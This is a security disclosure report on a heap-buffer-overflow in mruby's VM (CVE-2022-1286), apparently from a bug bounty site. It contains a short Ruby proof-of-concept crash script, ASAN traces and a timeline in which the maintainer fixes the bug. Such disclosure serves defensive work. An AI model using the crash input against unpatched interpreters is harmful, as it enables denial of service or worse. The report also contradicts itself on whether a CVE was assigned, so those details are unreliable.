

heap-buffer-overflow in mrb_vm_exec in mruby/mruby in 0



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Affected commit:

3cf291f72224715942beaf8553e42ba8891ab3c6

Proof of Concept

```
v10 = 0
v15 = ""
v16 = []
srand(1337)
v20 = protected_methods.fill(){}
v20 = Array.instance_eval(){} method method private_methods.zip() rescue (
remove_method remove_method private_methods.sample() rescue Float v16.*v15
```

Below is the output from mruby ASAN build:

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==34188==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000000
READ of size 8 at 0x603000000000 thread T0
#0 0x476ca1 in mrb_vm_exec /root/mruby/src/vm.c:1205
#1 0x475dcc in mrb_vm_run /root/mruby/src/vm.c:1132
#2 0x4bf75e in mrb_run /root/mruby/src/vm.c:3032
#3 0x4717c7 in mrb_funcall_with_block /root/mruby/src/vm.c:567
#4 0x4718e9 in mrb_funcall_argv /root/mruby/src/vm.c:578
#5 0x47009d in mrb_funcall_id /root/mruby/src/vm.c:394
#6 0x446253 in mrb_inspect /root/mruby/src/object.c:609
#7 0x4275d4 in mrb_vformat /root/mruby/src/error.c:347
#8 0x427ec5 in error_va /root/mruby/src/error.c:412
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#9 0x42803d in mrb_raisef /root/mruby/src/error.c:423
#10 0x42a56e in mrb_obj_to_sym /root/mruby/src/etc.c:69
#11 0x41a863 in mrb_get_args /root/mruby/src/class.c:1223

#12 0x5a9dcf in mrb_kernel_method /root/mruby/mrbgems/mruby-method/src/
#13 0x4840ba in mrb_vm_exec /root/mruby/src/vm.c:1638
#14 0x475dcc in mrb_vm_run /root/mruby/src/vm.c:1132
#15 0x4bf928 in mrb_top_run /root/mruby/src/vm.c:3045
#16 0x4eba38 in mrb_load_exec mrbgems/mruby-compiler/core/parse.y:6891
#17 0x4ebcd5 in mrb_load_detect_file_cxt mrbgems/mruby-compiler/core/pa
#18 0x40672c in main /root/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mr
#19 0x7fb671b610b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.
#20 0x403a7d in _start (/root/mruby/bin/mruby+0x403a7d)

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0x60300009a2b8 is located 0 bytes to the right of 24-byte region [0x6030000 allocated by thread T0 here:

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#0 0x7fb671f3aaaf in __interceptor_realloc /testing/gcc/gcc_src_master/
#1 0x44de94 in mrb_default_allocf /root/mruby/src/state.c:69
#2 0x42b222 in mrb_realloc_simple /root/mruby/src/gc.c:227
#3 0x42b320 in mrb_realloc /root/mruby/src/gc.c:241
#4 0x42b409 in mrb_malloc /root/mruby/src/gc.c:257
#5 0x46f237 in mrb_env_unshare /root/mruby/src/vm.c:287
#6 0x46f3f8 in cipop /root/mruby/src/vm.c:304
#7 0x48e4bc in mrb_vm_exec /root/mruby/src/vm.c:2334
#8 0x475dcc in mrb_vm_run /root/mruby/src/vm.c:1132
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#13 0x7fb671b610b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.

```

SUMMARY: AddressSanitizer: heap-buffer-overflow /root/mruby/src/vm.c:1205 in mrb_vm_exec Shadow bytes around the buggy address:

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0x0c068000b400: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
0x0c068000b410: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
0x0c068000b420: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa
0x0c068000b430: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
0x0c068000b440: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
=>0x0c068000b450: fd fd fa fa 00 00 00 [fa] fa fa 00 00 00 00 fa fa
0x0c068000b460: 00 00 00 00 fa fa 00 00 00 00 fa fa fd fd fd fd
0x0c068000b470: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
0x0c068000b480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

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0x0c068000b480: 00 00 ta ta 00 00 00 00 ta ta 00 00 00 00 ta ta
0x0c068000b490: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
0x0c068000b4a0: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
```

Shadow **byte** legend (one shadow **byte** represents 8 application bytes):

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Addressable:          00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone:    fa
Freed heap region:    fd
Stack left redzone:   f1
Stack mid redzone:    f2
Stack right redzone:  f3
Stack after return:   f5
Stack use after scope: f8
Global redzone:       f9
Global init order:    f6
Poisoned by user:     f7
Container overflow:    fc
Array cookie:         ac
Intra object redzone: bb
ASan internal:        fe
Left alloca redzone:  ca
Right alloca redzone: cb
==34188==ABORTING
```



Test Platform:

Ubuntu 18.04

Acknowledgements

This bug was found by Ken Wong(@wwkenwong) and Ming Chan(@mjcpwns) from Black Bauhinia(@blackb6a).

Occurrences:

vm.c:1205

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impact

Possible arbitrary code execution if being exploited.

CVE

CVE-2022-1286

(Published)

Vulnerability Type

CWE-122: Heap-based Buffer Overflow

Severity

Medium (5.9)

Registry

Other

Affected Version

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Visibility

Public

Status

Fixed

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Fixed by



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maintainer

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We have sent a follow up to the **mruby** team. We will try again in 7 days. 8 months ago

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Yukihiro "Matz" Matsumoto modified the report 8 months ago

Yukihiro "Matz" Matsumoto validated this vulnerability 8 months ago

wwkenwong has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Yukihiro "Matz" Matsumoto marked this as fixed in 3.2 with commit b1d029 8 months ago

Yukihiro "Matz" Matsumoto has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Yukihiro 8 months ago

Maintainer

Although it's severity as a security issue is not critical, it's a hard-to-find bug.
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